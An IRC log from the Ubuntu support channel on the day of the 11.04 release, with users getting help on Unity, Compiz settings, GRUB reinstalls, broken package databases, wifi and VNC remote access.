[20:57] <maco> !language | cyoz1
[20:57] <ubottu> cyoz1: Please watch your language and topic to help keep this channel family-friendly, polite, and professional.
[20:57] <cyoz1> ups
[20:57] <dotblank> macrossm, bug #1 is windows has the market share.. not osx
[20:57] <cyoz1> understood
[20:57] <ubottu> Launchpad bug 1 in Ubuntu "Microsoft has a majority market share" [Critical,In progress] https://launchpad.net/bugs/1
[20:57] <jiohdi> Torne: if you have an unformatted disc it will have to format it first... if you do not want it to format the whole disk you can make partitions where it will only format the unformatted partition you chose
[20:57] <macrossm> 10.10 was awesome i wish they hadn't of done this
[20:57] <jibadeeha> cyoz1, yeah banshee is slow as well ... i am sticking with rhythmbox
[20:57] <iceroot> its always a bad idea to copy something from apple
[20:58]  * sebsebseb ok it's about to be V :) so bye for now people
[20:58] <nerdshell> maco  : I rebooted, what is rfkill ?
[20:58] <macrossm> perhaps making unity the new option to try insteaqd of forcing it
[20:58] <ohsix> sebsebseb: then hold your tongue, it would only be appropriate to discuss on #ubuntu-offtopic anyways
[20:58] <Torne> jiohdi: I want it to format /dev/sda as ext4, instead of creating partitions and formatting that
[20:58] <nutsfornatty> the goal with unity and osx lion was more focus on full screen apps. if you think about the gui with that in mind it helps ease the transition to unity
[20:58] <Scarra3> I'm having some trouble with 11.04 my graphics driver for my laptop is an ATI Mobility Radeon HD 4250 so I installed the drivers from the additional drivers program and now when I reboot the boot screen is pixled some and looks weird
[20:58] <ohsix> macrossm: it is an option
[20:58] <jo-erlend> sebsebseb, what he said, was that we should aim for OS Xs smoothness and user friendlyness. I agree. I think we've far surpassed Windows' in that area. We need to keep raising our standards.
[20:58] <nerdshell> ohsix: why? It worked properly on 10.10
[20:58] <sebsebseb> ohsix: lol at people like you
[20:58] <Coty91> ohsix: they did it backwards indeed. lol
[20:58] <maco> nerdshell: the "turn off wireless because im in an airplane / want to save battery" button or switch
[20:58] <Torne> jiohdi: there is nothing on the disk, not even a partition table, and I do not want to create a partition table
[20:58] <ohsix> macrossm: it is just the default
[20:58] <maco> nerdshell: can try    sudo rfkill --unblock all
[20:58] <Rehan> arand: thanks. So I have a question. On my 10.10 I have to use proprietary nvidia drivers which allow my screen to have the proper resolution and for compiz to work but make my plymouth look terrible.  When I used 11.04 liveCD everything looked fine, but there was no Unity. Does this mean I'll have to go to proprietary drivers again in 11.04 for Unity?
[20:58] <macrossm> seb no doubt: guess they are tired of hearing about the terrible rls
[20:59] <maco> Rehan: right
[20:59] <sebsebseb> ohsix: go try some other distro's lol
[20:59] <maco> Rehan: unity is a compiz plugin
[20:59] <sebsebseb> anyway TV time bye
[20:59] <arand> Rehan: Probably, yes
[20:59] <nutsfornatty> Scarra3, ati has released offical drivers for 11.04 ati cards. i will link you
[20:59] <ohsix> nerdshell: firmware filenames change with kernel versions, look at the output of dmesg and see if the driver is finding it's firmware
[20:59] <macrossm> the default should be the default i would be more then happy to test out and learn a new gui gradually
[20:59] <Kindari> Hey folks, is it worth upgrading to 11.04?
[20:59] <ohsix> sebsebseb: #ubuntu-offtopic
[20:59] <nerdshell> ohsix:  can you explain more clearly please
[20:59] <iceroot> Kindari: never touch a running system
[20:59] <sgaap> btw, is 11.4 (from ati) included in 11.04?
[20:59] <ohsix> macrossm: you have had many months to try it out gradually
[20:59] <macrossm> so unity is a compiz plugin or a gnome plugin ?
[20:59] <kvarley> How can I enable desktop effects in Ubuntu 11.04? I have proprietary drivers installed.
[20:59] <nutsfornatty> Scarra3: http://support.amd.com/us/gpudownload/linux/Pages/radeon_linux.aspx
[21:00] <doodle> maco: it asks me to select a mount point for the partition, and I selected FAT32, and the mount point is /dos and /windows, which one should I select?
[21:00] <corecode> hi
[21:00] <jsebean> internal server error on ubuntu bug tracker
[21:00] <macrossm> really ? i have cause running beta is a great idea
[21:00] <ohsix> nerdshell: dmesg shows kernel messages if ran in a terminal; the driver says when it's loading its firmware; so you check that it has
[21:00] <corecode> how can i disable this excessively large dropshadow on 11.04?
[21:00] <maco> doodle: whatever you want it to be named. you can always change this later
[21:00] <corecode> i tried compiz/window decoration, but that doesn't change anything
[21:00] <maco> doodle: should even be able to type it in
[21:00] <doodle> maco: okay.
[21:01] <maco> doodle: if you want it to show like a flash drive would, then put it under /media
[21:01] <Saamm> I got a software center problem...Chromium rating is 102 but it only shows 1....http://i.imgur.com/Nhgpn.png
[21:01] <doodle> maco: there is no other option but /dos and /windows
[21:01] <ohsix> corecode: you can adjust the ccsm settings, but i don't know if you can; smspillaz had a blog post about getting overlapping shadows to not over darken & i think thats the fixed output from that
[21:01] <brokenupgraydes> my upgrade failed, dpkg is now corrupted, but I have a liveCD.  How to recover?
[21:02] <ohsix> corecode: fixed in the sense that there are few options iirc, but the ones there are will be in ccsm
[21:02] <bloublou> hi guys, I joined few hours ago asking about how to fix my gnome-panels, well, I fixed them; I just went to GDM menu and changed the session, I selected 'classic session' and done, problem fixed.
[21:02] <iceroot> brokenupgraydes: chroot into the system and rund "sudo dpkg --configure -a"
[21:02] <jon4248> ubumtu
[21:02] <macrossm> why did unity wipe out my settings in compiz ? i had a sphere with 4 desktops and two running vbox windows in them
[21:02] <corecode> ohsix: hm, it has to be set somewhere
[21:02] <maco> doodle: it wont let you type in there?
[21:02] <macrossm> how can i get all that back
[21:02] <corecode> ohsix: right now i can just disable all decoration, or have this huge shadow
[21:02] <iceroot> brokenupgraydes: if you can boot the normal system do that and run the command then you dont need a chroot
[21:02] <ohsix> corecode: that somewhere might not be something you can change without a rebuild, is what i was saying
[21:03] <Rehan> Why do I keep getting this error when I try to run update manager on 10.10 : W:Failed to fetch http://ppa.launchpad.net/meerkat/stable/ubuntu/dists/maverick/main/source/Sources.gz  404  Not Found
[21:03] <doodle> maco: no. :S
[21:03] <Shoogy> So what happened to the netbook version of ubuntu
[21:03] <ohsix> macrossm: unity did not do that
[21:03] <hypetech> Shoogy: it is no more
[21:03] <Shoogy> they just change out there whole website
[21:03] <nutsfornatty> switch to classic ubuntu = login screen -> look at bottom panel -> change "ubuntu" to "ubuntu classic" -> login -> done
[21:03] <corecode> ohsix: because i use focus-follows-mouse, the abrupt change of the shadow is quite distracting
[21:03] <Shoogy> why not
[21:03] <ohsix> macrossm: compizchanging from version .8 to .9 did
[21:03] <dotblank> macrossm, when you updated it should have prompted you if you had any conflicting configuration files
[21:03] <macrossm> nuts: did that still have nothing
[21:03] <Bisa> heya, anyone able to help me check this issue out. I see a white _ on boot and my hard drive swirls a bit then seems to halt and no os is booted at all, what could be wrong?
[21:03] <macrossm> and i opened ccsm all settings gone
[21:03] <iceroot> Shoogy: netbook was a normal ubuntu with unity
[21:03] <corecode> ohsix: ah.  there is a slider for shadow, but it doesn't seem to have any effect
[21:03] <brokenupgraydes> iceroot, chroot'd and running dpkg now, got a bunch of warnings about dpkg status file syntax
[21:03] <SubCool> could someone help with an ops. I somehow created a loop script of x11vnc, can someone help me find it and delete it?
[21:03] <Shoogy> I know it was the normal ubuntu with a UI
[21:03] <iceroot> brokenupgraydes: pastebin
[21:04] <macrossm> dotblank : should have*
[21:04] <ohsix> macrossm: it tries to migrate some settings but far from all of them are migrated
[21:04] <sgaap> Bisa: do you see a bootloader before that?
[21:04] <Shoogy> I wanted to get it for my roommates netbook
[21:04] <brokenupgraydes> bleh, scrollback.
[21:04] <Bisa> sgaap, nope
[21:04] <ohsix> macrossm: you can manually transfer the settings, they are still in gconf
[21:04] <cherva> how can I kill a connection to a peer without killing the service or filtering it with iptables and waiting to timeout ?
[21:04] <macrossm> hrm :(
[21:04] <hypetech> Shoogy: the normal desktop version is the new "netbook" version, it's the same now.  unity is a good interface for the netbook so it should be fine
[21:04] <sgaap> Bisa, you can use a live cd to reinstall grub, or do it via the bios with efi
[21:05] <sgaap> if you have edi that is
[21:05] <ohsix> cherva: hunt has a tool to do that, it discovers sequence numbers and sends rst's to both ends
[21:05] <Shoogy> Oh they are the same now
[21:05] <brokenupgraydes> iceroot, just many of these: dpkg-query: warning: parsing file '/var/lib/dpkg/status' near line 20421 package 'encoding.com':  error in Version string 'version0.87': version number does not start with digit
[21:05] <Shoogy> Ok that makes sense
[21:05] <Rehan> Why do I keep getting this error when I try to run update manager on 10.10 : W:Failed to fetch http://ppa.launchpad.net/meerkat/stable/ubuntu/dists/maverick/main/source/Sources.gz  404  Not Found
[21:05] <ohsix> cherva: i think theres a tool to do just that, but i  forget the name
[21:05] <Shoogy> Thanks for the help hypetech
[21:05] <shane2peru> ok, first hurdle, dual screen setup with unity?
[21:05] <macrossm> guys i dunno if canonical see any of this ...but it's pretty sad i spent months perfecting my laptop and now it's shot after the 11.04 upgrade ...unity is terrible and shouldn't have been set as the default
[21:05] <Shoogy> Yes good point
[21:05] <cherva> ohsix, hunt ?
[21:05] <ohsix> Rehan: one of your ppas is broken, you should purge them all before you attempt an upgrade
[21:05] <Bisa> sgaap, Im currently on a live but dunno if I want to dable with grub due to my dual boot setup, is it smart enough to recognize my win install?
[21:05] <Shoogy> I need to be able to run dual screen too
[21:05] <macrossm> my desktop still has 10.10 and i will never change that
[21:05] <trism> corecode: the shadow is configured in the metacity theme such as  /usr/share/themes/Ambiance/metacity-1/metacity-theme-1.xml in the shadow tags, set them to radius 0 and the shadow is gone, (or just shrink them)...best idea is probably to copy it to ~/.themes/ , change the name and make your edits
[21:06] <iceroot> macrossm: never touch a running system, so its your fault
[21:06] <sgaap> Bisa: it should be
[21:06] <macrossm> yeah it's my fault
[21:06] <Rehan> ohsix: is there a command in terminal i can enter to do that?
[21:06] <helo> macrossm: you can just use the other desktop interface...
[21:06] <ohsix> macrossm: that is your opinion, and you had an opportunity to voice it before release
[21:06] <macrossm> i have a backup from 2 weeks ago will have to restore that
[21:06] <corecode> trism: thanks!
[21:06] <Bisa> sgaap, so, google reinstall grub or something?
[21:06] <helo> macrossm: you don't have to use unity with 11.04
[21:06] <macrossm> i'm not now i changed
[21:06] <jiohdi> Rehan: you can remove them under synaptic packagemanager under repositories
[21:06] <nutsfornatty> switch to classic ubuntu instructions: go to login screen -> look at bottom panel -> change "ubuntu" to "ubuntu classic" -> login -> done
[21:06] <ohsix> macrossm: as i've said your compiz settings are still there, they are just not being read by compiz .9
[21:06] <laserbled> hi....how to mount a rar file in ubuntu 10.10...anyother alternative than rar2fs ?
[21:06] <macrossm> but all my settings are gone
[21:07] <llutz> cherva: look at "cutter"
[21:07] <sgaap> Bisa, depends on which version of grub you have
[21:07] <iceroot> brokenupgraydes: make a backup of that file, then edit it and remove the string "version" from that line
[21:07] <macrossm> laser you don't mount an rar
[21:07] <iceroot> brokenupgraydes: also its a good idea to open a bug with that
[21:07] <macrossm> extract it
[21:07] <loculinux> hola
[21:07] <nutsfornatty> open with archive manager
[21:07] <ohsix> laserbled: everything that exists to do it only does uncopmressed archives
[21:07] <macrossm> you can view the files inside without extracting if that is what you mean
[21:07] <brokenupgraydes> iceroot, bah. hundreds of them.
[21:07] <Rehan> jiohdi: thanks
[21:07] <ninjai> is there any software for linux that allows me to screenshot a section of my screen? I've used some before where you can scale around this box and clikc 'capture'.  Anything out there?
[21:07] <Bisa> sgaap, dunno, where do I find out / guess in the file system somewhere, or can I somehow boot into it from the live session?
[21:07] <laserbled> but I can mount tar files
[21:07] <cherva> llutz, thanks
[21:07] <mello> How do I install xfce 4.8 on natty? I already installed a shitload of apps before finding out that unity just doesn't run at all for me
[21:07] <acicula> ninjai: just press screenshot or shift-screenshot
[21:07] <ohsix> laserbled: aufs can do it but it is no better than extracting it entirely, because that is what it does
[21:07] <iceroot> brokenupgraydes: sed s/^version// :)
[21:08] <iceroot> brokenupgraydes: and remeber the backup!!!
[21:08] <brokenupgraydes> "Processing was halted because there were too many errors."
[21:08] <brokenupgraydes> fff.
[21:08] <Dominater> No Compiz on 11.04?
[21:08] <acicula> ninjai: prtscr or whatever abbreviation of printscreen your keyboard uses
[21:08] <ninjai> acicula, my problem is that i want a section of my browser, not the tabs and everything with it
[21:08] <macrossm> nope
[21:08] <hypetech> Dominater: it has compiz
[21:08] <jiohdi> mello in term:   sudo apt-get install xfce4
[21:08] <macrossm> they've removed it
[21:08] <nutsfornatty> ninjai: its the "take screenshot" app (yes that is the name)
[21:08] <sgaap> Bisa, with 1 its just: 1. root (hx.x), where x.x is your disk and partition, 2 setup (hd0) and then quit (this is from the grub shell, just type grub on the cli)
[21:08] <UbuN2> ninjai, ubuntu has screenshot
[21:08] <macrossm> it does not have compiz
[21:08] <ohsix> Dominater: unity is compiz, with a unity plugin
[21:08] <acicula> ninjai: just edit the screenshot with gimp
[21:08] <macrossm> all setting are overridden by unity
[21:08] <ohsix> macrossm: you are not listening to me
[21:08] <macrossm> none of the features work
[21:08] <mello> jiohdi, if xfce works.. can i also remove all gnome shizzle?
[21:08] <sgaap> Bisa: assuming your bootdisk is the first one
[21:08] <ninjai> CLARIFICATION: I know ubuntu has screenshot capabilities, but I want to take a screen of a specific section
[21:08] <eoke> Fresh install of Ubuntu 11.04 AMD64 on a disk with Windows 7 Pro.  Installation involving encryption and lvm went smoothly and grub installed.  After rebooting I found the first option in grub doesn't boot the machine just a flashing cursor.  The second option I think it's labeled safe or recovery boots ok.  I've tried update grub and also tried reinstalling grub.  Any ideas?
[21:08] <Dominater> hypetech , what about the Cube?
[21:08] <macrossm> you can keep saying it has compiz
[21:09] <ohsix> macrossm: if you are going to persist you will be removed
[21:09] <macrossm> but you know why people run compiz
[21:09] <iceroot> macrossm: of course it has compiz
[21:09] <macrossm> for the fancy features and none work for uniuty
[21:09] <nutsfornatty> nanjai the take screenshot app will allow you to do that
[21:09] <hypetech> Dominater: it's in the settings, but my computer can't run it so I haven't turned it on
[21:09] <UbuN2> applications > accessories > take a screenshot
[21:09] <ohsix> macrossm: i am running compiz, you are lying to people
[21:09] <jiohdi> mello: you should keep most of it as your gnome programs may require some of them
[21:09] <sgaap> Bisa: remember, disk 1, partition 1 is hd (0,0) in grub 1
[21:09] <iceroot> macrossm: dpkg -l \*compiz\* | grep ^ii  says my natty has compiz
[21:09] <ohsix> macrossm: and this is a help channel
[21:09] <UbuN2> then tick grab a section u want to grab
[21:09] <Kevin147> Is 11.04 the stable version or only beta??
[21:09] <acicula> ninjai: the screenshot makes a screenshot at the resolution of the desktop, you can just edit it from there?
[21:09] <hypetech> Kevin147: stable as of today
[21:09] <ayecee> Kevin147: now stable
[21:09] <macrossm> i'm running it too no plugins work except the unity one which is lame
[21:09] <Kevin147> alright
[21:09] <Kevin147> thanks
[21:09] <ohsix> macrossm: i even explained why you are seeing what you are seeing
[21:10] <Bisa> sgaap, no its the hd3 I think, but Im not sure how to go from here really, Ive got a live ubuntu usb stick in where I can access irc ^^
[21:10] <mello> jiohdi: i guess it's safe to remove gnome-shell? I tried installing it, but not much luck either
[21:10] <ohsix> !ops
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[21:10] <nerdshell> maco: the computer recognizes my iphone hostspot but not my wifi network
[21:10] <maco> ohsix: whats the emergency?
[21:10] <ninjai> acicula, it's too much work.  gimp takes a long time to load, then i need to create a new file of the specific size of the data i am snagging out, then save it... its way easier just to draw a box on my screen, click 'capture' or something.
[21:10] <jiohdi> mello: yes after you get the xfce you can uninstall whatever you do not want
[21:10] <Rehan> does canonical release a new version every 6 months whether or not the version is really stable? Are they very locked into the 6 month timeline?
[21:10] <ohsix> maco: no fire, didn't realize you were an op, just needed eyes
[21:11] <sgaap> Bisa, if you have booted into a livecd you can use the grub command to get into the grub command line
[21:11] <sgaap> \
[21:11] <maco> Rehan: 6.06 was delayed by two months
[21:11] <IdleOne> ohsix: eyes for what?
[21:11] <nutsfornatty> ninjai: go to the Take Screenshot app. open it. select "grab an area" and select your area. done
[21:11] <LjL> ohsix: please only call !ops if there is a serious reason
[21:11] <acicula> ninjai: dunno if there is a program that lets you do that, you can hold shift or ctrl to modify what section printscreen captures though
[21:11] <Bisa> sgaap, ah, I see, cheers
[21:11] <ohsix> LjL: noted
[21:11] <sgaap> Bisa: there you can set your linux root and install it with setup (hd0) into your mbt
[21:11] <ohsix> IdleOne: for macrossm
[21:11] <nutsfornatty> guys the screenshot app allows you to capture a smaller area, no need for gimp
[21:11] <macrossm> he was hoping to alret you to my complaints about releasing beta software in a major release
[21:11] <maco> Rehan: but no release will be bug-free, when few people test more than a month before release :(
[21:11] <SubCool> could someone help with an ops. I somehow created a loop script of x11vnc, can someone help me find it and delete it?
[21:11] <Ahmuck> sebsebseb: thanks.  that worked great
[21:12] <maco> Rehan: well, no release will be bug-free, period ;-) but having bug reports with actual time to complete them is nice!
[21:12] <ohsix> macrossm: #ubuntu-offtopic
[21:12] <nerdshell> ohsix: the computer find my Iphone Hostpot but not my wifi network
[21:12] <phoenixsampras> its taking 98 hours to UPDATE!!
[21:12] <maco> (also help with fixing them is also nice. if you want to help join #ubuntu-bugs)
[21:12] <dotblank> macrossm, yea this not #ubuintu-complain
[21:12] <Bisa> sgaap, right, got grub installed now
[21:12] <acicula> phoenixsampras: slow download speed?
[21:12] <maco> nerdshell: is your wifi network running on a very high channel?
[21:12] <nastjuid> oh sweet. I can install with the alternate cd and not have to use the new gnome
[21:12] <ohsix> nerdshell: hm thats interesting
[21:12] <Rehan> maco: oh i see. Is there a huge jump in # of adopters AFTER its considered out of beta?
[21:12] <hypetech> nastjuid: you can do that with the normal cd
[21:12] <sgaap> Bisa: if everything went ok you should see grub after a boot now
[21:12] <maco> Rehan: yes
[21:12] <nutsfornatty> updating ubuntu right now is like shopping at best buy during Dec 23rd. you know what you are getting into
[21:13] <nastjuid> hypetech: oh, I must have missed the option. I'll check that out thanks :)
[21:13] <ohsix> nastjuid: there is no new gnome, there is a new default session that uses compiz and the unity plugin as a window manager
[21:13] <sgaap> Bisa, if they value for root is wrong, you can change it by changing the entries
[21:13] <eoke> nutsfornatty, yes but it's so tempting :D
[21:13] <Dominater> is there Cube on 11.04?
[21:13] <maco> nerdshell: like, i think channel 13 is europe-only (or only recently added to the US?) ... in which case your driver might not look that high by default
[21:13] <rhizmoe> is there an xterm replacement that uses tabs? screen is kind of a pain for local stuff.
[21:13] <hypetech> nastjuid: when you go to log in, you can select "Ubuntu Classic" for your session
[21:13] <sgaap> Bisa: with "e" from grub
[21:13] <ohsix> nastjuid: iit's on the login screen :]
[21:13] <nastjuid> ohsix: thanks for that clarification
[21:13] <Bisa> sgaap, just to be sure, what exactly did I have to type if I wanted to install grub on hd3?
[21:13] <nastjuid> ! thanks :)
[21:13] <ubottu> You're welcome! But keep in mind I'm just a bot ;-)
[21:13] <Rehan> maco: i'm switching to ubuntu from 20 years of windows and i love the ideology of ubuntu but it still seems kind of hodge podge at best so far (my experience with 10.10). It could just be my hardware though. I hope to report on bugs though.
[21:13] <eoke> maco, nerdshell: I've had similar issues with kindles refusing to connect to channel 1 and 14.
[21:13] <jumbers> Is there a way to point do-release-upgrade at an ISO file? I downloaded the ISO like 14 hours ago before it was on all the mirrors
[21:14] <ohsix> nerdshell: to check if that is the case (that maco said) you can run sudo iw reg getin a terminal
[21:14] <bonny> i need a game for a really low video card
[21:14] <nerdshell> maco: but my wifi was working fine on 10.10
[21:14] <macrossm> ccsm doesn't open on my second nor does anything else after the upgrade ...any ideas ?
[21:14] <maco> Rehan: lots of replies to requests for checking on reproducibility of a reported bug in the devel release (so we know whether to spend resources on it) are of the form "ok, well i'll let you know when its beta" or "i'll check after the stable release" .. which is way too late
[21:14] <sgaap> Bisa, you need to set the root of you linux partition with root (hd2,partition) then and install it with setup (hd0), this is assuming you boot from your first disk
[21:14] <hypetech> jumbers: I'd recommend just burning the ISO and doing the upgrade from the boot
[21:14] <dotblank> Rehan, hodge podge? oh yes but only best hodge podge.
[21:14] <ohsix> nerdshell: it will tell you the current regulatory restrictions
[21:14] <SubCool> maybe this will work better -
[21:14] <nutsfornatty> bonny: try the indy humble games? revenge of the titans runs well on my system
[21:14] <azi`> hello. is there any way to switch to the previous layout of the desktop? this layout in ubuntu 10.10 is just useless
[21:14] <jumbers> hypetech: Well this is on a remote server that I don't have physical access to
[21:15] <sgaap> Bisa, if linux is on your first partition of your 3th disk that would be hd(2,0)
[21:15] <ohsix> maco: thanks for telling people that, i don't have  the energy for it :]
[21:15] <bonny> ok
[21:15] <tasslehoff> I'm running 11.04 on a MacBook Pro (with norwegian layout). Out of the box the modifier keys (ctrl, alt, shift, cmd) work like they should for launcher, unity and workspaces, but I can't get to the symbols I get in osx with shift-cmd-<number-key>.
[21:15] <hypetech> jumbers: is it a virtual machine where you could mount the iso then reboot?
[21:15] <nothingspecial> azi`: select classic ubuntu at login
[21:15] <rhizmoe> ok, gnome-terminal has tabs. silly me.
[21:15] <nutsfornatty> switch to classic ubuntu instructions: go to login screen -> look at bottom panel -> change "ubuntu" to "ubuntu classic" -> login -> done
[21:15] <ohsix> azi`: pick "classic desktop" on the login screen
[21:15] <azi`> nothingspecial: i have autologin set on
[21:15] <Maxik> hello, update to 11.04 crashed on my laptop, os isn't working now, how can i fix that?
[21:15] <Rehan> dotblank: it could just be my hardware but setting up ubuntu 10.10 wasnt easy at all
[21:15] <azi`> ohsix: what if my machine automatically logs in?
[21:15] <jumbers> hypetech: Nope, dedicated box. I assume I could just mount the ISO right?
[21:15] <Bisa> sgaap, hmmz, Im pretty confident that I changed the boot order in my bios to first boot from my hd3 disk is that the same thing_
[21:15] <ohsix> ugh autologon
[21:15] <macrossm> 11.04 not able to do multiple screens yet ?
[21:15] <nerdshell> ohsix: can you rewrite the command please, I think you didn't write it corrctly
[21:16] <Rehan> dotblank: thats why I was wondering whats considered a stable release
[21:16] <ohsix> azi`: you know your keyring has to be insecure to do that as well
[21:16] <dotblank> Rehan, most likely your hardware.. ubuntu 10.10/.04 was incredibly stable
[21:16] <Maxik> i've already tried everything i found on the internet
[21:16] <hypetech> jumbers: you could mount the iso but I'm not sure if it can upgrade while it's booted.  I haven't tried that way
[21:16] <sgaap> Bisa, you need to do the setup (hdX) to whatever disk your bios boots from
[21:16] <azi`> ohsix: sure
[21:16] <ohsix> nerdshell: "sudo iw reg get"
[21:16] <nothingspecial> azi`: then turn it off, in the system settings when you click your username - top right
[21:16] <ohsix> azi`: thats a big tradeoff :[
[21:16] <VCoolio> tasslehoff: you mean unicode symbols? try ctrl+shift+u then the code, enter
[21:16] <Bisa> sgaap, right, lemmi give that a go
[21:16] <llutz> sgaap: grub2 counts partitions from 1 (grub1 started at 0)
[21:16] <Rehan> dotblank: i get the feeling that ubuntu works really well on stuff 5 years old and pretty poorly on stuff 1-2 years old.  Is that correct?
[21:16] <[lan3y]> you can mount isos in grub if that helps
[21:17] <ohsix> Rehan: that is incorrect
[21:17] <sgaap> Bisa, im not sure if those insctructions are valid for grub 2, havent got any hands-on experience with that
[21:17] <dotblank> Rehan, wrong..
[21:17] <nutsfornatty> rehan: it depends on the hardware.
[21:17] <ohsix> hardly
[21:17] <ohsix> it depends on people reporting bugs
[21:17] <cyoz1> damn ubuntu uses 100% cpu for no reason
[21:17] <usr13> Rehan: I think it looks like "hoge poge" to you because you are not used to it. Sometimes different appears as broken. Sometimes an application doesn't preform as we expect it to and we believe it is irratic or irrational.
[21:17] <tasslehoff> VCoolio: the ones I miss most are square and curly brackets. hard to program without them. is that unicode symbols?
[21:17] <ohsix> cyoz1: theres a  reason, interested in finding it?
[21:18] <nutsfornatty> ubuntu using 3% here and i have quite a few apps open
[21:18] <kaiuwe> hm in natty nvidia-settings always says "cannot open /etc/X11/xorg.conf for writing" thus making my changes (two monitor configuration) vanish on restart
[21:18] <sgaap> Bisa, if its grub 2 best to check https://help.ubuntu.com/community/Grub2
[21:18] <dotblank> cyoz1, there is always a reason
[21:18] <maco> Rehan: please do feel free to file bugs on what you think is wrong and also ones for the Hundred Papercuts project on usability bugs
[21:18] <SubCool> Ok- how can i deteremine why x11vnc is opening infintietly
[21:18] <usr13> *erratic
[21:18] <tashkas> how i can share IGMP over shared connection between two lan cards???
[21:18] <skulltip> what's the terminal irc client in case i have issues?
[21:18] <Rehan> usr13: i'm def no linux master but I appreciate the difference in looks and user interface. I don't mind that at all. I just haven't experienced an ubuntu install yet where I didn't have to scour through forum posts to get hardware to work properly.
[21:18] <hypetech> skulltip: irssi
[21:18] <LjL> skulltip: irssi is a popular one
[21:18] <acicula> skulltip: irssi
[21:18] <sgaap> kaiuwe: you run it with sudo?
[21:19] <skulltip> ty
[21:19] <laumonier> hi i have an upgrade problem when i try to get natty i get this after a little moment during the source configuration http://paste.ubuntu.com/600431/
[21:19] <dotblank> maco, to be fair some hardware issues can't be solved that way.. most of them are issues with the manufacturer
[21:19] <Shoogy> What is the best way to remote into linux from a windows desktop
[21:19] <TheRedOctober> Is there a way to keep audio working when you hot switch from an X session to a tty session?
[21:19] <acicula> Shoogy: ssh/putty or vnc
[21:19] <Shoogy> what do you recommend
[21:19] <tensorpudding> Shoogy: configure remote desktop sharing
[21:19] <ninjai> acicula, shutter does what I require.
[21:19] <tashkas> how i can share IGMP over shared connection between two lan cards????
[21:19] <hypetech> Shoogy: putty for command line, vnc for graphical interface
[21:19] <dotblank> maco, but at least you'll know about them
[21:19] <bastidrazor> TheRedOctober: once you log in to the tty the audio should continue
[21:19] <mero48> Hello, I've got message when starting grub: No video mode selected. how can i hide this message ?
[21:19] <acicula> Shoogy: do you want a terminal or graphics
[21:19] <Shoogy> I need the graphical as I am running stuff on it for servers
[21:20] <ohsix> Rehan: problem #1 is searching forums for _solutions_
[21:20] <maco> dotblank: we can do a lot of workarounds in the kernel
[21:20] <Rehan> my sony vaio and hp pavilion laptops have both had hardware issues on a default install
[21:20] <acicula> heu servers and graphical stuff?
[21:20] <Shoogy> yeah
[21:20] <hypetech> Shoogy: running a server would be the reason why you WOULDN'T use graphical but okay :p  Use VNC for graphical
[21:20] <maco> dotblank: i only personally know how to do a few audio ones, but i know other subsystems use quirks as well
[21:20] <tensorpudding> Shoogy: open Remote Desktop Preferences, and allow people to connect remotely
[21:20] <Shoogy> it is a minecraft server
[21:20] <acicula> Shoogy: enable remote desktop under system->preferences and then you can connecgt via vnc
[21:20] <dotblank> maco, at risks of regressions?
[21:20] <Bisa> sgaap, thnx for the help, appreciate it - but I think Im just going to revert my bios settings and format and do a clean install
[21:20] <VCoolio> tasslehoff: I have those on my keyboard; see if you can assign keys to provide those using xmodmap
[21:20] <the67pc> People
[21:20] <[lan3y]> Rehan, what pavilion do you have?
[21:20] <the67pc> listen to me
[21:20] <blit> hi, I've played with beta 2 for the last 10 days, upgrading packages as needed. should I install the freshly released one?
[21:20] <Shoogy> it is going to be via lan too
[21:20] <the67pc> Is god when we have an private eye for ubuntu
[21:21] <tashkas> accicula do u know how to run iptv on two lan cards?
[21:21] <maco> dotblank:  the regression potential depends on the manufacturer. there are some *cough*apple*cough* who like to give multiple pieces of hardware the same hardware IDs and revision numbers
[21:21] <tensorpudding> Shoogy: then on the Windows computer, install a VNC client like UltraVNC or TightVNC, and specify to connect to the Ubuntu machine by hostname, on display :0
[21:21] <the67pc> we need a private eye for ubuntu
[21:21] <Rehan> ohsix: i don't mind searching forums for solutions.
[21:21] <LjL> the67pc: do you have a support question for us?
[21:21] <ohsix> Rehan: at best workarounds, at worst nobody knows what is going on and can't elaborate; so practically speaking, a waste of time if you actually desire remedy
[21:21] <Bisa> sgaap, got all my data backed up any way, grub and mbr is the next chapter of my linux learning experience me thinks
[21:21] <Shoogy> awesomne
[21:21] <Shoogy> thank you guys
[21:21] <hypetech> the67pc: do you have a question?
[21:21] <ohsix> Rehan: search bugs
[21:21] <acicula> blit: you can but its not needed, if you experience no issues i would not bother
[21:21] <sgaap> Bisa, np, but i still advice checking the howto for grub 2 if its that, there is also a gui for ubuntu to configure grub2
[21:21] <LjL> the67pc: what do you mean a private eye? it sounds like something that might be better discussed in #ubuntu-offtopic, but i'm not sure
[21:21] <usr13> Rehan: Ahhhh, hardware.  Yes, there are printers that do not have drivers in linux. There are wireless network adapters that do not have fully funtioning drivers. etc.  Yes you are correct. (But that is different. And ... well I could go on, but we should join #ubuntu-offtopci for more.)
[21:21] <woodn> has anyone run into an issue with crypt() on natty?
[21:21] <Shoogy> I am still pretty new to linux and are still learning
[21:21] <ohsix> Rehan: lacking said bugs, report bugs
[21:21] <proq> what shell command do I run to take a CD installer and copy it to a usb stick?
[21:21] <sgaap> Bisa, which you should be able to use from a live cd of 11.04
[21:21] <the67pc> Ok...
[21:21] <the67pc> Private eye is an security tool for passwords
[21:21] <the67pc> or ...
[21:21] <Bisa> sgaap, oh, really, package name listed on that wiki link perhaps?
[21:21] <dotblank> maco, yea its not ubuntu's fault it doesn't work.. its the hardware manufacturer. and as such you should not support any hw that isn't supported in linux
[21:22] <Rehan> ohsix: i agree with the process, I'm just saying that I don't understand what is the definition of stable
[21:22] <the67pc> or...
[21:22] <nutsfornatty> shoogy: you will do fine. :-)
[21:22] <Shoogy> I have used linux before so that I can take files off of a corrupt windows install
[21:22] <tensorpudding> Shoogy: this is the easiest way, but for many reasons, running VNC services on a server that is open outside of the LAN is a bad idea due to security risks
[21:22] <the67pc> for your computer
[21:22] <dajhorn_> proq: unetbootin at the prompt
[21:22] <sgaap> Bisa, let me check
[21:22] <LjL> the67pc: to do what, crack passwords?
[21:22] <the67pc> to protect your screenn
[21:22] <the67pc> noo
[21:22] <the67pc> wait
[21:22] <ohsix> Rehan: then the maintainers/packagers will be participating & they can do more than guess or tell you to do something awful that nobody really knows is awful, but accept as valid workarounds
[21:22] <Shoogy> what do you recommend then tensor
[21:22] <the67pc> The software protect your screen
[21:22] <tensorpudding> Shoogy: you said this was for a LAN, right?
[21:22] <nerdshell> ohsix: iw : command not foud
[21:22] <acicula> the67pc: you want to lock your screen?
[21:22] <corecode> how do you get a proper menu style, and not that apple menu style?
[21:22] <dotblank> maco, at this point, not releaseing drivers for linux is a terrible terrible idea
[21:22] <the67pc> when anybody look at your screen
